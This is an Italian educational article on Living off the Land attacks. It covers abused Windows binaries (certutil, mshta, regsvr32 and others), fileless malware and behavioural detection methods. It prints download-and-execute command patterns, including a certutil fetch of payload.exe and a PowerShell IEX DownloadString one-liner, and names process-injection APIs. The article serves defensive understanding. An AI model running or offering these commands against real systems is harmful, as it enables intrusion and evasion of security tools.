Living off the Land (LotL, «vivere del territorio») è una strategia offensiva in cui l’attaccante non introduce malware o strumenti propri nel sistema compromesso, ma sfrutta esclusivamente binari, script e funzionalità già presenti nel sistema operativo. L’obiettivo è la evasione del rilevamento: poiché gli strumenti usati sono legittimi e firmati dal vendor del sistema operativo, i tradizionali antivirus e i filtri basati su firma non li identificano come malevoli. Un amministratore di sistema che usa PowerShell per fare ricognizione è indistinguibile, a livello di artefatti, da un attaccante che fa lo stesso.
LOLBins: Living Off the Land Binaries
I LOLBins (Living Off the Land Binaries) sono i binari di sistema più abusati dagli attaccanti. Il progetto LOLBAS (Living Off the Land Binaries, Scripts and Libraries, lolbas-project.github.io) cataloga sistematicamente ogni binario Windows con possibili usi offensivi documentati.
Esempi su Windows:
- certutil.exe: strumento per la gestione dei certificati. Abusato per scaricare file da URL remoti (
certutil -urlcache -split -f http://... payload.exe) e per codificare/decodificare file in Base64. - mshta.exe: esegue file HTA (HTML Application). Usato per eseguire script VBScript/JScript remoti aggirando le restrizioni di esecuzione di PowerShell.
- regsvr32.exe: registra DLL COM. Permette di eseguire codice remoto tramite file
.sct(scriptlet) — tecnica nota come «Squiblydoo». - wmic.exe: interfaccia WMI da riga di comando. Usato per esecuzione remota, ricognizione di processo, persistenza tramite sottoscrizioni WMI.
- rundll32.exe: esegue funzioni esportate da DLL. Usato per eseguire payload DLL senza creare processi con nome sospetto.
- msiexec.exe: installa pacchetti MSI. Permette di scaricare ed eseguire MSI remoti.
Su Linux i LOLBins equivalenti includono curl, wget, python, perl, bash, nc (netcat) — presenti in praticamente ogni sistema.
Fileless malware
L’evoluzione naturale di LotL è il fileless malware: codice malevolo che non scrive mai su disco ma vive esclusivamente in memoria, spesso iniettato in processi legittimi. Tecniche comuni:
- PowerShell in-memory execution: scaricare ed eseguire uno script PowerShell interamente in memoria con
IEX (New-Object Net.WebClient).DownloadString('...'). Il payload non tocca mai il filesystem. - Process injection: iniettare shellcode nel memory space di un processo legittimo (es.
svchost.exe) tramite API Windows comeVirtualAllocEx,WriteProcessMemory,CreateRemoteThread. - WMI persistence: usare le sottoscrizioni di eventi WMI per eseguire codice a ogni avvio del sistema — la persistenza è nel repository WMI, non in un file eseguibile sul disco.
Rilevamento
Poiché la firma del binario è legittima, il rilevamento deve basarsi sul comportamento:
- Command line logging (Sysmon Event ID 1, Windows Security 4688): registrare ogni processo con la sua riga di comando completa. Un
certutil.exeche contatta un IP esterno è immediatamente anomalo. - PowerShell Script Block Logging: registrare il contenuto deobfuscato di ogni script PowerShell eseguito, indipendentemente dall’obfuscation applicata.
- AMSI (Antimalware Scan Interface): interfaccia Windows che permette agli AV/EDR di scansionare il contenuto degli script prima dell’esecuzione, anche se deobfuscati a runtime.
- Behavioral EDR: correlazione di sequenze di azioni (processo legittimo che apre connessione di rete + legge file di credenziali + crea processo figlio) per rilevare catene comportamentali sospette indipendentemente dagli strumenti usati.